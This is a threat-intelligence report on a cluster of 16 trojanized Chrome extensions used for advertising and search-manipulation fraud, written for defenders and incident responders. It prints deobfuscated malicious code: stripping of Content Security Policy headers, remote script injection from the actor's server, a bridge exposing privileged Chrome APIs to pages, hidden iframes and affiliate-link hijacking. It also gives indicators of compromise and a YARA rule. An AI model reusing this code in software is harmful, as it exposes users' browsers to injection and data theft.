Tech Note - Malicious browser extensions impacting at least 3.2 million users
13 February 2025 - GitLab Threat Intelligence
Key Points
- We identified a cluster of at least 16 malicious Chrome extensions used to inject code into browsers to facilitate advertising and search engine optimization fraud. The extensions span diverse functionality including screen capture, ad blocking and emoji keyboards and impact at least 3.2 million users.
- We assess that the threat actor acquired access to at least some of the extensions from their original developers, rather than through a compromise. The threat actor has been trojanizing extensions since at least July 2024.
- The threat actor uses a complex multistage attack to degrade the security of users’ browsers and then inject content, traversing browser security boundaries and hiding malicious code outside of extensions. We have only been able to partly reproduce the threat actor’s attack chain.
- The threat actor may also be associated with phishing kit development or distribution. The malicious extensions present a risk of sensitive information leakage or initial access.
Background
In December 2024, a threat actor conducted a software supply chain attack using compromised developer accounts to distribute malicious browser extension updates from the Chrome Web Store. The threat actor compromised the developer accounts via phishing and updated extensions with code that exfiltrated data from HTTP headers and DOM content based on a dynamic configuration. Following this incident, we analyzed publicly available browser extensions and identified a cluster of extensions exhibiting coordinated malicious behaviour and interacting with consistent infrastructure.
A list of indicators of compromise we associate with this campaign identified can be found in the Appendix. We notified Google about these extensions in January 2025 and at the time of publication, all extensions have been taken down from the Chrome Web Store. Removal from the Chrome Web Store will not trigger automatic uninstalls, so we recommend that any impacted users manually remove the extensions.
Malicious Extension Code
Malicious extensions we’ve identified include emoji keyboards, screen capturing utilities, adblockers and a proxy. The extensions appear to actually deliver their purported functionality, meaning their codebases are diverse. Despite this, the extensions all contain consistent service worker functionality that performs the following actions:
- On installation, checks in with a configuration server, unique to each extension, transmitting the extension version and a hardcoded integer ID.
- Stores the resulting JSON data under a local storage key. Configuration data is unique to each extension with the exception of a
configUpdateInterval
key. Other fields are plausibly related to the extension’s purpose, but are never read in the main application code. - Unsets any local storage values prefaced with
s-
. - Creates an alarm to refresh the configuration data on a heartbeat based on the value of the configuration data’s
configUpdateInterval
key. - Creates an alarm called
HEALTHCHECK
that triggers every minute and executes a function that reloads any tab that has been open for more than 500 seconds. - Creates a listener that, for every web request made, creates a rule to set the
content-security-policy
HTTP header to an empty value, forwards the request and clears any rule with the same incremental ID. This has the effect of creating rules that strip the Content Security Policy header from the first 2000 websites visited each session.
async function d(e, t) {
!0;
try {
let n, a = chrome.runtime.getManifest().version;
if (n = await fetch(`${e}?s=${t}&v=${a}`, {
method: "POST",
headers: {
"Content-Type": "application/json"
}
}), n.ok && 200 === n.status) {
const e = await n.json(),
t = new o({
area: "local"
});
await t.remove("n");
let a = await t.getAll();
a && "object" === typeof a && Object.keys(a).length > 0 && Object.keys(a).forEach((e => {
e.startsWith("s-") && t.remove(e)
})), await t.set("n", e)
}
} finally {
!1
}
}
Check in function for the Nimble Capture extension.
{
"mp4Convert":"none",
"screenInScreen":1,
"QuickShare":1,
"configUpdateInterval":360
}
Initial configuration data served from api.nimblecapture[.]com.
async function u(e) {
if (!(i.indexOf(e) > -1)) {
i.push(e);
try {
return s > 1999 && (s = 1), s++, chrome.declarativeNetRequest.updateSessionRules({
addRules: [{
id: s,
action: {
type: "modifyHeaders",
responseHeaders: [{
header: "content-security-policy",
operation: "set",
value: ""
}]
},
condition: {
urlFilter: e,
resourceTypes: ["main_frame", "sub_frame"]
}
}],
removeRuleIds: [s]
})
} catch (t) {}
}
}
chrome.webRequest.onBeforeRequest.addListener((function(e) {
e && e.url && u(new URL(e.url).host)
}), {
urls: ["<all_urls>"]
})
CSP header stripping in Nimble Capture using ephemeral rules.
This routine completely removes Content Security Policy protections for users of the malicious extensions. The Content Security Policy serves an important function in preventing Cross Site Scripting attacks and an extension degrading this protection without informed consent from users is a clear breach of Chrome Web Store Program Policies.
Perplexingly, the extensions do not appear to contain malicious code other than these filtering and heartbeat segments. An extension fetching a dynamic configuration from a remote server makes dynamic behaviour possible, however local storage keys set by the heartbeat code are not read back elsewhere in the code. Similarly, the s-
keys that the extension clears in the heartbeat function are not set anywhere in the application. We dynamically analysed several of the extensions and did not observe a second attack stage trigger during normal browsing activity under analysis conditions emulating a range of locations and technology types. Despite this, we were able to identify second stage payloads from the threat actor’s infrastructure.
Threat Actor Infrastructure
Each extension’s configuration server is a unique domain or subdomain, distinct from other infrastructure in the extension’s main application code. For example, for the malicious KProxy extension, the main application code uses kproxy[.]com
and the config server is at kproxy[.]site
. We also note that the hardcoded integer IDs used in the heartbeat requests are in a loose incremental range and may suggest a much greater scope of operations by this threat actor.
Extension ID | Name | Last Updated | Config Server | ID |
---|---|---|---|---|
mdaboflcmhejfihjcbmdiebgfchigjcf | Blipshot: one click full page screenshots | July 4, 2024 | blipshotextension[.]com | 164 |
gaoflciahikhligngeccdecgfjngejlh | Emojis - Emoji Keyboard | July 4, 2024 | emojikeyboardextension[.]com | 166 |
fedimamkpgiemhacbdhkkaihgofncola | WAToolkit | July 4, 2024 | watoolkit[.]com | 9997 |
jlhgcomgldfapimdboelilfcipigkgik | Color Changer for YouTube | July 5, 2024 | colorchanger[.]net | 148 |
jdjldbengpgdcfkljfdmakdgmfpneldd | Video Effects for YouTube And Audio Enhancer | July 5, 2024 | ytvideoeffectsextension[.]com | 160 |
deljjimclpnhngmikaiiodgggdniaooh | Themes for Chrome and YouTube™ Picture in Picture | July 17, 2024 | themesforytextension[.]com | 155 |
giaoehhefkmchjbbdnahgeppblbdejmj | Mike Adblock für Chrome | Chrome-Werbeblocker | July 18, 2024 | adblockforytextension[.]com | 158 |
hmooaemjmediafeacjplpbpenjnpcneg | Page Refresh | July 25, 2024 | pagerefresh-extension[.]com | 112 |
acbiaofoeebeinacmcknopaikmecdehl | Wistia Video Downloader | August 8, 2024 | wistiaextension[.]com | 156 |
nlgphodeccebbcnkgmokeegopgpnjfkc | Super dark mode | August 11, 2024 | sdmextension[.]com | 167 |
fbcgkphadgmbalmlklhbdagcicajenei | Emoji keyboard emojis for chrome | August 11, 2024 | emojikeyboardforchrome[.]com | 170 |
alplpnakfeabeiebipdmaenpmbgknjce | Adblocker for Chrome - NoAds | August 22, 2024 | noadsadblocker[.]com | 94 |
ogcaehilgakehloljjmajoempaflmdci | Adblock for You | September 10, 2024 | abu-xt[.]com | 147 |
onomjaelhagjjojbkcafidnepbfkpnee | Adblock for Chrome | September 10, 2024 | abfc-extension[.]com | 199 |
bpconcjcammlapcogcnnelfmaeghhagj | Nimble capture | September 27, 2024 | api.nimblecapture[.]com | 172 |
gdocgbfmddcfnlnpmnghmjicjognhonm | KProxy | October 8, 2024 | kproxyservers[.]site | 151 |
Extension information, config server and hardcoded ID by last update date.
The configuration servers resolve to IP addresses associated with Bunny CDN infrastructure. When a heartbeat request is made to the application, the HTTP response headers contain a consistent x-do-app-origin
header value, 978bc8ed-09a8-444b-9142-df5a19366612
. The x-do-app-origin
header relates to the DigitalOcean Apps Platform, uniquely identifying each deployed application. It is likely that the header is passed through the CDN from the true origin server. A consistent value for this header across all of the extensions indicates that the extension configuration servers are actually a single Express application served via DigitalOcean Apps.
"date": "Sat, 25 Jan 2025 23:18:29 GMT",
"content-type": "application/json; charset=utf-8",
"server": "BunnyCDN-****-****",
"cdn-pullzone": "3070670",
"cdn-uid": "438e5331-617f-4623-b03f-0e7897e47202",
"cdn-requestcountrycode": "**",
"access-control-allow-origin": "*",
"alt-svc": "h3=\":443\"",
"cache-control": "public, max-age=0",
"content-encoding": "br",
"etag": "W/\"52-jGHJgMWdzWOh7KhRWAGYNzObt2M\"",
"x-powered-by": "Express",
"x-do-app-origin": "978bc8ed-09a8-444b-9142-df5a19366612",
"x-do-orig-status": "200",
"cf-cache-status": "DYNAMIC",
"cf-ray": "****************",
"cdn-proxyver": "1.06",
"cdn-requestpullsuccess": "True",
"cdn-requestpullcode": "200",
"cdn-cachedat": "01/25/2025 23:18:29",
"cdn-edgestorageid": "1140",
"cdn-requesttime": "0",
"cdn-requestid": "9de806fec3bcd39ca194646419b55b47"
Example response headers from config servers showing leaking origin server information, geographically identifying information redacted.
We identified indications of the configuration servers distributing obfuscated JavaScript code highly likely intended to be injected into pages using the malicious extensions. All of the configuration servers serve at least the following identical obfuscated scripts from consistent URL paths:
URL Path | SHA256 Hash |
---|---|
/static/file/rcx-cd-v3.js | 41dc497f6e6d2e40edcc524ebe488c05208209927168a3829e0de5477b7c73bd |
/static/file/1.6.4.1.js | 7012e860d547ac2b000d58d39086747e541c69351fa4a1287ccac87fda00d567 |
/static/file/cnt-1.7.2.2.js | 0ae4859ac931cba66480abe6c8a215a83518a1e36b29bc5be0b0971f44711387 |
/static/file/rcx-slissi-3-.js | 02041bcc5761e1b6bb3efe68b710521ecbc47dd7275283fe2af55f213313c878 |
/static/file/rcx-nt-2.5.2..js | 02041bcc5761e1b6bb3efe68b710521ecbc47dd7275283fe2af55f213313c878 |
We also identified an instance of a configuration heartbeat response that appears to trigger the injected scripts on Virustotal.
Malicious Configuration Variant
The malicious configuration variant we identified (SHA256 hash 3931fa67f8c21156c4dd41e22b8c3abcfaf91a37b3881e7ca40e8db6c426e964
) highly likely relates to the malicious Nimble Capture extension. The variant contains keys matching the dummy configuration data provided above, but contains additional keys used to set up the victim’s browser for the injection of subsequent payloads.
{
"mp4Convert": "none",
"screenInScreen": 1,
"QuickShare": 1,
"configUpdateInterval": 360,
"values": ["fill", "constructor"],
"initialSet": "(function(_0x41f3a2,_0x4f92fa){const _0x4266e5=...",
"resetSet": "(function(_0x42c6a7,_0x45f643){var _0xf4743b=...",
"settings": [],
"eh": "(?:[^.]+)(?:\\.co)?\\.(?:aaa|aarp|abarth|...",
"loading": {
"css": {}
},
"complete": {
"initialSet": "(function(_0x41f3a2,_0x4f92fa){const _0x4266e5=_0x5691,_0x431e95=...",
"css": {}
},
"hosts": {
"host1": "https://r.nimblecapture.com",
"host2": "https://n.nimblecapture.com",
"host3": "https://cap.nimblecapture.com"
},
"cdn": "https://api.nimblecapture.com",
"sid": 172,
"v": "12.0.0",
"uuid": "ea44a45b-fc63-4324-98fe-387894e4d11c",
"h": ["-1199139136", "-2044460563", "981193732", ...,],
"g": "MY",
"o": "https://api.nimblecapture.com"
}
Malicious configuration data variant, long fields abridged.
The initialSet
and resetSet
keys contain JavaScript obfuscated with javascript-obfuscator. The initialSet
function wraps the window’s JavaScript console and replaces all of the built in methods, effectively silencing console output. Next, the script executes an init()
function that:
- Stores the configuration data’s settings key in the attribute
window.O_129038908123498
. - Stores a reference to its own promise resolution in the attribute
window.R_128390180234
. - Creates a DJB2 hash function and obtains the hash of the current page hostname.
- Stores the value
cnt-1.7.2.2.js
in the attributewindow._subRcx
. - Checks whether an element with an id equal to the DJB2 hash of the current page already exists, and if not, creates that element referencing a remote script at
hxxps://api.nimblecapture[.]com/static/file/rcx-cd-v3.js
.
The remote script referenced is one of the injected payloads we obtained and analyse below. It is also worth noting that the injection of a script with a remote source like this would generally be prevented by a rational Content Security Policy on the targeted page, potentially explaining why the threat actor degrades this protection in the extension code.
const _0x4085da = function () {
let _0x107d06 = true;
return function (_0x3bc53d, _0x2f4152) {
const _0x5a6ef7 = _0x107d06 ? function () {
if (_0x2f4152) {
const _0x5ec6b8 = _0x2f4152.apply(_0x3bc53d, arguments);
_0x2f4152 = null;
return _0x5ec6b8;
}
} : function () {};
_0x107d06 = false;
return _0x5a6ef7;
};
}();
const _0x1896bf = _0x4085da(this, function () {
let _0x5010b8;
try {
const _0x49dc3a = Function("return\\x20(function()\\x20{}.constructor(\\x22return\\x20this\\x22)(\\x20));");
_0x5010b8 = _0x49dc3a();
} catch (_0x1f0171) {
_0x5010b8 = window;
}
const _0x2a0d18 = _0x5010b8.console = _0x5010b8.console || {};
const _0x3927c2 = ['log', "warn", 'info', "error", "exception", "table", "trace"];
for (let _0x2e3d34 = 0x0; _0x2e3d34 < _0x3927c2.length; _0x2e3d34++) {
const _0x1744f0 = _0x4085da.constructor.prototype.bind(_0x4085da);
const _0x22d370 = _0x3927c2[_0x2e3d34];
const _0x31d323 = _0x2a0d18[_0x22d370] || _0x1744f0;
_0x1744f0.__proto__ = _0x4085da.bind(_0x4085da);
_0x1744f0.toString = _0x31d323.toString.bind(_0x31d323);
_0x2a0d18[_0x22d370] = _0x1744f0;
}
});
_0x1896bf();
function init() {
return new Promise(_0x263d8c => {
window.O_129038908123498 = settings;
window.R_128390180234 = _0x263d8c;
function _0x2706ee(_0x499aed) {
let _0x2d4149 = 0x0;
for (let _0x2157d9 = 0x0; _0x2157d9 < _0x499aed.length; _0x2157d9++) {
let _0x28cbaa = _0x499aed.charCodeAt(_0x2157d9);
_0x2d4149 = (_0x2d4149 << 0x5) - _0x2d4149 + _0x28cbaa;
_0x2d4149 = _0x2d4149 & 0x7fffffff;
}
return _0x2d4149;
}
let _0x244afa = _0x2706ee(window.location.host) + '';
if (!document.getElementById(_0x244afa)) {
window._subRcx = "cnt-1.7.2.2.js";
let _0x134620 = document.createElement('script');
_0x134620.id = _0x244afa;
_0x134620.src = "https://api.nimblecapture.com/static/file/rcx-cd-v3.js";
document.body.appendChild(_0x134620);
} else {
onTabRefresh();
}
});
}
init();
Deobfuscated JavaScript stored under the initialSet key of the malicious configuration variant.
The resetSet
script contains identical functionality with the exception of the init()
function being abridged to not load the remote script and containing some completion result storage logic. The malicious configuration contains identical resetSet
and initialSet
functions under the complete
key. The malicious configuration h
key contains a massive 156482-element array of signed integers stored as strings. The values are not valid DJB2 hashes, which are always positive. We suspect that the values are hashes of target sites produced with some unknown function. The malicious configuration eh
key contains a well known regular expression for Top Level Domain validation. Finally, the malicious configuration contains references to additional subdomains on nimblecapture.com
and additional version and UUID values.
Injected Payloads
The rcx-cd-v3.js
payload referenced in the malicious configuration data and currently served by the threat actor’s servers is also obfuscated using javascript-obfuscator. The script first calls a function initCD()
that creates a complex object that is used to load external JavaScript, make network requests and make remote calls between browser contexts.
The script reads back the O_129038908123498
values set by the malicious configuration data and stores them as $cd
attributes. The script then declares a series of methods on the $cd
object. First, the script declares a remote call functionality, $cd.rc()
. The method uses a reference to the dangling promise resolution stored on the window.R_128390180234
attribute by the initialSet
to pass function references that are then executed in the initial context. Function responses are read back from a dictionary keyed with a generated UUID and stored on a window.BIDS_128390180234
attribute.
$cd.rc = function (_0x5bffac, _0x23db6f, _0x53988c) {
return new Promise(async function (_0x16d90e, _0xba66b4) {
const _0x30ffb5 = (_0x2c6591 = null) => {
_0xba66b4(_0x2c6591);
};
const _0x2931d1 = uuid4();
window.BIDS_128390180234[_0x2931d1] = async _0x203cb1 => {
const _0x44f5dd = _0x203cb1.s || null;
const _0x52dbe3 = _0x203cb1.r || null;
if (_0x44f5dd === null) {
console.error(_0x203cb1.r);
_0x30ffb5("Invalid response!");
return;
}
if (_0x44f5dd !== 0x1) {
_0x30ffb5(_0x52dbe3);
return;
}
_0x16d90e(_0x52dbe3);
};
console.log(" C => S", _0x2931d1, _0x5bffac, _0x23db6f, _0x53988c);
window.R_128390180234({
'm': _0x5bffac,
'a': _0x53988c,
'f': _0x23db6f,
'b': _0x2931d1
});
});
};
Deobfuscated remote call function used to execute functions across browser contexts.
This functionality is likely intended as a bridge between scripts injected into pages and the special context available to a browser extension service worker. A service worker’s special context has access to powerful Chrome APIs that can include, subject to the extension permissions, accessing and filtering all web requests, accessing and modifying cookies, tabs and browsing history and sending messages to native applications. This assessment is supported by the $cd.chrome
method, which uses the rc
function to wrap Chrome APIs and expose them into the page context.
$cd.chrome = {
'alarms': {
'create': async (_0x2c4cef, _0x1503f0) => await $cd.rc(["chrome", "alarms"], 'create', [_0x2c4cef, _0x1503f0]),
'clear': async _0x150583 => await $cd.rc(["chrome", "alarms"], "clear", [_0x150583]),
'onAlarm': {
'addListener': async _0x4946bd => await $cd.rc(["chrome", 'alarms', "onAlarm"], "addListener", [_0x4946bd])
}
},
'storage': {
'sync': {
'get': async _0xa2e781 => await $cd.rc(['chrome', "storage", "sync"], "get", [_0xa2e781]),
'set': async _0xa77734 => await $cd.rc(["chrome", "storage", 'sync'], 'set', [_0xa77734]),
'remove': async _0xf159ed => await $cd.rc(["chrome", 'storage', "sync"], "remove", [_0xf159ed]),
'clear': async () => await $cd.rc(['chrome', "storage", "sync"], "clear", [])
},
'local': {
'get': async _0x4c1f76 => await $cd.rc(["chrome", "storage", "local"], "get", [_0x4c1f76]),
'set': async _0x39caa9 => await $cd.rc(["chrome", 'storage', "local"], 'set', [_0x39caa9]),
'remove': async _0x509969 => await $cd.rc(["chrome", "storage", 'local'], "remove", [_0x509969]),
'clear': async () => await $cd.rc(["chrome", "storage", "local"], "clear", [])
}
},
'declarativeNetRequest': {
'updateDynamicRules': async _0x5858aa => await $cd.rc(['chrome', "declarativeNetRequest"], "updateDynamicRules", [_0x5858aa]),
'updateEnabledRulesets': async _0x449c86 => await $cd.rc(["chrome", 'declarativeNetRequest'], "updateEnabledRulesets", [_0x449c86]),
'getEnabledRulesets': async () => await $cd.rc(["chrome", "declarativeNetRequest"], "getEnabledRulesets", [])
},
'tabs': {
'update': async (_0x54383e, _0x39e800) => await $cd.rc(["chrome", "tabs"], 'update', [_0x54383e, _0x39e800]),
'create': async _0x3f31df => await $cd.rc(["chrome", 'tabs'], "create", [_0x3f31df]),
'remove': async _0x5aa0f1 => await $cd.rc(['chrome', "tabs"], "remove", [_0x5aa0f1]),
'query': async _0x32af33 => await $cd.rc(["chrome", "tabs"], "query", [_0x32af33])
},
'runtime': {
'getManifest': async () => await $cd.rc(['chrome', "runtime"], "getManifest", [])
},
'scripting': {
'executeScript': async _0x121277 => await $cd.rc(["chrome", "scripting"], 'executeScript', [_0x121277])
}
};
Deobfuscated proxies of Chrome APIs facilitated through the remote call function.
The $cd
object also contains a fetch
method that invokes native fetch
through the bridge via a remote call rather than the page. This potentially bypasses Cross Origin Resource Sharing restrictions if the call is eventually executed in the service worker. Finally, the $cd
object contains a loadJSFile
function to load arbitrary JavaScript into the page from a remote source. The rcx-cd-v3.js
script also contains utility functions that set storage values prefaced with s-
, matching the pattern cleared by the browser extension background scripts on every check in with the configuration server.
Once the $cd
bridge object is created, it is used to load the script stored by the malicious configuration on the window._subRcx
function. The script is loaded from a hardcoded directory /static/file
on the cdn value stored in the malicious configuration. We assess that the files 1.6.4.1.js
, cnt-1.7.2.2.js
and rcx-slissi-3-.js
obtained from the threat actor’s servers are all variants of this second injected stage used by the threat actor at various times. All of the scripts are obfuscated using Preemptive’s commercial JavaScript obfuscator, likely the publicly available demo version.
The core function of the scripts is to use the Chrome APIs exposed via the $cd
bridge to modify network request filtering rules. The scripts create three classes of modifications to network filtering rules:
- Modifications to headers to make programmatic requests appear as though they are normal user navigation. This class of rule is used on search engine domains and a set of domains associated with
adssquared.com
1, includingclevershopper.com
,bonusbuyer.net
andchopstick.co
. These rules are likely intended to assist the extensions perform search engine result manipulation by making automated requests that appear organic. - Modifications to explicitly block any requests to Microsoft’s tracking service,
https://www.clarity.ms/tag/*
, likely intended to prevent the detection of automated browsing through user analytics. - Modifications with maximum priority to explicitly allow advertising domains, likely intended to overwrite rules applied by ad blocking extensions.
The scripts also create an iframe element with zero dimensions and dynamically inject remote content based on the current host. Similar functionality is created using an invisible background tab. The scripts contain dedicated injection functionality for Amazon product pages when the victim is in one of a list of European locales.
async function obbb(ovOb, QwRb, ksIb, MtLb) {
console.log("[CD/SSI]", "Injected iFrame.");
let gpCb = document.createElement("iframe");
gpCb.width = 0;
gpCb.height = 0;
gpCb.id = ovOb.id;
gpCb.src = `${wpBd}/v?h=${encodeURIComponent(ksIb)}&sid=${ovOb.sid}&w=${encodeURIComponent(MtLb)}`;
document.body.appendChild(gpCb);
}
Deobfuscated iframe injection function that loads remote data from the threat actor’s server.
async function YOKoc() {
let sKBoc = await vsRead("s");
if (!sKBoc) sKBoc = {};
if (!sKBoc.n) sKBoc.n = 0;
await vsWrite("s", {
n: sKBoc.n + 1
});
console.log("[CD/SLI] click counter", sKBoc.n);
let QIyoc = QUXmc();
if (["DE", "FR", "GB", "UK", "IE", "AT", "CH"].includes(getGeo()) && getDomain().indexOf("amazon") > -1) {
console.log("[Amazon] URL", getDomain());
if (window.location.href.indexOf("/dp/") > -1) {
console.log("Amazing selected for", getGeo());
await Eftnc();
let MZfpc = await ceqnc("/exporter/get-campaign", {
d: getDomain(),
ou: window.location.href,
g: getGeo(),
s: getSubId() + "",
u: getUUID()
});
if (MZfpc && MZfpc.d && MZfpc.d.length > 0) {
console.log("TabValidation", `Campaign found ${MZfpc.d}`);
await gVWoc(MZfpc.d);
}
}
} else if (sKBoc.n >= QIyoc.max_cevent) {
await Eftnc();
let kYcpc = await ceqnc("/exporter/get-campaign", {
d: getDomain(),
ou: window.location.href,
g: getGeo(),
s: getSubId() + "",
u: getUUID()
});
if (kYcpc && kYcpc.d && kYcpc.d.length > 0) {
console.log("[CD/SLI]", "Campaign found", kYcpc.d);
gVWoc(kYcpc.d);
} else console.log("[CD/SLI]", "No campaign found");
}
}
Deobfuscated function injecting special scripts for Amazon product pages visited by victims in some European locales.
The threat actor obtains extensive information about victims while the inejcted code is active, including at a minimum, victims web browsing history. The extensions reach out for new scripts to inject for every page the victim visits, which could include scripts to extract sensitive information including credentials out of page content. The domain c.blipshotextension[.]com
is used as a fallback domain for all of the scripts if the configured hosts are not set. We also identified a likely earlier version of the rcx-slissi-3-.js
script variant that includes some of the threat actor’s affiliate IDs for different services in obfuscated form.
oDMx = Intl.DateTimeFormat().resolvedOptions().timeZone.toLowerCase();
MBJx = navigator.userAgent.toLowerCase().indexOf("win") > -1 && oDMx !== String.fromCharCode(101, 117, 114, 111, 112, 101, 47, 98, 101, 114, 108, 105, 110) && oDMx !== String.fromCharCode(101, 117, 114, 111, 112, 101, 47, 118, 105, 101, 110, 110, 97) && getGeo() !== String.fromCharCode(68, 69) && getGeo() !== String.fromCharCode(65, 84);
if (MBJx) {
let kAGx = getSubId() === 158 ? .5 : .36;
let Evxx = Math.random() < kAGx;
if (Evxx === true && getDomain().indexOf(String.fromCharCode(97, 108, 105, 101, 120, 112, 114, 101, 115, 115)) > -1) {
Qkcx.d = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 46, 99, 108, 105, 99, 107, 46, 97, 108, 105, 101, 120, 112, 114, 101, 115, 115, 46, 99, 111, 109, 47, 101, 47, 95, 68, 107, 79, 89, 83, 101, 66);
caHw = true;
} else if (getDomain().indexOf(String.fromCharCode(115, 117, 114, 102, 115, 104, 97, 114, 107)) > -1) {
Qkcx.d = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 103, 101, 116, 46, 115, 117, 114, 102, 115, 104, 97, 114, 107, 46, 110, 101, 116, 47, 97, 102, 102, 95, 99, 63, 111, 102, 102, 101, 114, 95, 105, 100, 61, 57, 51, 52, 38, 97, 102, 102, 95, 105, 100, 61, 50, 56, 51, 51, 48);
caHw = true;
} else if (getDomain().indexOf(String.fromCharCode(102, 105, 118, 101, 114, 114, 46, 99, 111, 109)) > -1) {
Qkcx.d = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 103, 111, 46, 102, 105, 118, 101, 114, 114, 46, 99, 111, 109, 47, 118, 105, 115, 105, 116, 47, 63, 98, 116, 97, 61, 57, 56, 56, 48, 50, 55, 38, 110, 99, 105, 61, 49, 55, 48, 52, 49);
caHw = true;
} else if (getDomain().indexOf(String.fromCharCode(97, 108, 105, 98, 97, 98, 97)) > -1) {
Qkcx.d = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 111, 102, 102, 101, 114, 46, 97, 108, 105, 98, 97, 98, 97, 46, 99, 111, 109, 47, 99, 112, 115, 47, 105, 117, 97, 106, 113, 56, 107, 108, 63, 98, 109, 61, 99, 112, 115, 38, 115, 114, 99, 61, 115, 97, 102);
caHw = true;
} else caHw = false;
} else caHw = false;
This block executes only for users with a Windows user agent that are not based in Germany or Austria based on both timezones and country code. For such users, the block searches for a specific string in domains and then returns matching URLs to an affiliate link for that domain. These affiliate links are unique to the identity the threat actor used to sign up for the affiliate programs.
Target Domain | Affiliate Link |
---|---|
aliexpress | hxxps[:]//s.click.aliexpress[.]com/e/_DkOYSeB |
surfshark | hxxps[:]//get.surfshark[.]net/aff_c?offer_id=934&aff_id=28330 |
fiverr | hxxps[:]//go.fiverr[.]com/visit/?bta=988027&nci=17041 |
alibaba | hxxps[:]//offer.alibaba[.]com/cps/iuajq8kl?bm=cps&src=saf |
Understanding the Attack Chain
The threat actor’s method for triggering the distributed extension background script to become malicious remains unknown. We’ve been unable to identify code present in the background function that could process the values sent in the malicious variant of the configuration file, suggesting that the malicious configuration file is preceded by some prior stage. It’s also worth noting that the threat actor accessing both the window and chrome APIs in the same context, as appears to be done in initialSet
, is not normally possible. If the script is executing in the service worker, it should not have access to the window
object and if it is executing in a page context, it should not have access to sensitive APIs like chrome.declarativeNetRequest
. Many of the extensions have not been updated for months, while there are clear indications that the threat actor has been updating their injection scripts over time, making it unlikely that updates are being used to turn malicious functionality on and off.
Despite our inability to trigger the attack chain under analysis, extension reviews provide a good indication that the functionality we’ve identified is being executed on victims’ browsers. We assess that the threat actor likely delivers malicious configuration variants after an accumulation of check ins per client, tracked server-side. This is a form of time-based evasion that makes malicious behaviour very difficult to detect, and appears to be a common tactic among threat actors operating malicious extension campaigns.
Example reviews from users of the malicious extensions describing effects consistent with the injected scripts we’ve identified.
The extension permissions may provide insight into the capabilities the threat actor needs to commence the injection attacks. Among the 22 unique permissions the malicious extensions have, all of them have the following five: alarms
, declarativeNetRequest
, scripting
, storage
and webRequest
. The extensions are also all scoped with the host permission <all_urls>
. We also noted that eight of the extensions expose their files as web accessible resources available for all pages to read with no apparent purpose, however web accessible resources are read only and should not provide an injection vector.
Attribution & Conclusion
We assess that the threat actor acquired access to at least some of the extensions from their original developers, rather than through a compromise. We were able to trace extensions to historical legitimate developer identities, suggesting that the extensions were not originally developed by the threat actor. We also identified some instances of the developers explicitly stating that they were transferring control of extensions and engaged with developers to confirm our theory.
We identified some instances of the injected scripts being served from phishing kits. For example, a phishing page impersonating Canada’s McGill University captured on URLScan in September 2024 served an earlier version of the rcx-nt-2.5.2..js
script in the phishing page. The script was served alongside a reference to a CSS file in the extension idpbkophnbfijcnlffdmmppgnncgappc
, a now removed extension called “Rakuten Button Canada” that had identical permissions to the malicious extensions we’ve identified but appears not to have exposed that file as a web accessible resource.
We identified a similar reference to the rcx-slissi-3-.js
and rcx-cd-v3.js
scripts in a phishing kit impersonating Switzerland's SBB CFF FFS railway distributed in late 2024. Both scripts were served by an element of the phishing page that collected users’ SMS 2FA codes. The phishing kit contains two PHP files that include threat actor handles claiming authorship, ard8no das
in the file chne/email.php
and SH33NZ0
of the group DNThirTeen
in the file chne/system/authentication.php
. Both handles can be found in criminal communities and other artefacts, but we have not identified any links between these threat actors and activity targeting browser extensions. The level of sophistication exhibited in the phishing kits is also drastically lower than the sophistication exhibited in the malicious browser extensions.
It’s not uncommon for threat actors to use phishing kits containing elements cobbled together from other threat actors’ code, and the presence of these identifiers is not sufficient for us to link the handles to the extension operator without other evidence. However, the overlapping presence of these files in phishing infrastructure suggests that the threat actor is somehow proximate to cyber intrusion actors and should not be thought of as just an abusive advertiser. It’s important to note that the threat actor has equivalent access to the December 2024 Chrome Web Store supply chain attack. This access could be leveraged into initial access brokering for intrusions by reading sensitive page content and extracting secrets from HTTP headers.
This campaign is a sophisticated attack on users' web browsers, conducted at a huge scale. This type of activity presents an important threat to organizations because we transmit so much sensitive information through web browsers. Moreover, in-browser attacks are difficult for endpoint security tools to detect because artifacts are ephemeral, buried inside browser memory and transmitted almost instantaneously to maintain user experience.
The threat actor’s abuse of trusted software distributors and the reputation of the Chrome Web Store also helped to make this attack more effective. Like the December 2024 Chrome Web Store supply chain attack, this threat actor used update mechanisms to deliver malicious code to victims’ devices. These attacks highlight that the automatic update mechanism is a particular risk surrounding browser extensions, especially when effective control of the extension may have invisibly changed between updates.
Recommendations
For Organizations
- Review extensions that request permissions not required for their purpose, particularly unreasonable
host_permissions
scopes and unnecessary use of web filtering andscripting
APIs. An innocuous but over permissioned extension is only an update away from becoming malware. - Implement application controls that restrict the installation of browser extensions and consider pinning trusted versions of highly permissioned extensions.
- Monitor for extensions changing permissions or having changed ownership when updates occur.
For Individuals
- Be careful granting an extension permission to read and change all data on all websites. While it often feels like that permission applies to every extension out there, these permissions are only sometimes necessary. Installing something malicious with these permissions completely compromises your browser.
- Don’t take positive reviews or a high install count as definitive evidence that an extension is benign. Threat actors can purchase or hijack popular extensions to capitalize on the trust that comes from popularity.
- Remove extensions that you no longer use to reduce exposure to malicious updates.
Appendix - Indicators of Compromise
Yara rule
rule detect_heartbeat_csp_strip {
meta:
description = "Detects heartbeat function and CSP stripping associated malicious browser extensions"
author = "osmith@gitlab.com"
tlp = "CLEAR"
date = "2025-01-28"
strings:
$s1 = /await fetch\(\`\$\{.\}\?s=\$\{.\}\&v=\$\{.\}\`/
$s2 = "chrome.runtime.getManifest().version;"
$s3 = "content-security-policy"
$s4 = "[\"<all_urls>\"]"
$f1 = "chrome.declarativeNetRequest.RuleActionType.MODIFY_HEADERS"
$f2 = "chrome.declarativeNetRequest.updateSessionRules"
condition:
all of ($s*) and any of ($f*)
}
Extension IDs
mdaboflcmhejfihjcbmdiebgfchigjcf Blipshot: one click full page screenshots
gaoflciahikhligngeccdecgfjngejlh Emojis - Emoji Keyboard
fedimamkpgiemhacbdhkkaihgofncola WAToolkit
jlhgcomgldfapimdboelilfcipigkgik Color Changer for YouTube
jdjldbengpgdcfkljfdmakdgmfpneldd Video Effects for YouTube And Audio Enhancer
deljjimclpnhngmikaiiodgggdniaooh Themes for Chrome and YouTube™ Picture in Picture
giaoehhefkmchjbbdnahgeppblbdejmj Mike Adblock für Chrome | Chrome-Werbeblocker
hmooaemjmediafeacjplpbpenjnpcneg Page Refresh
acbiaofoeebeinacmcknopaikmecdehl Wistia Video Downloader
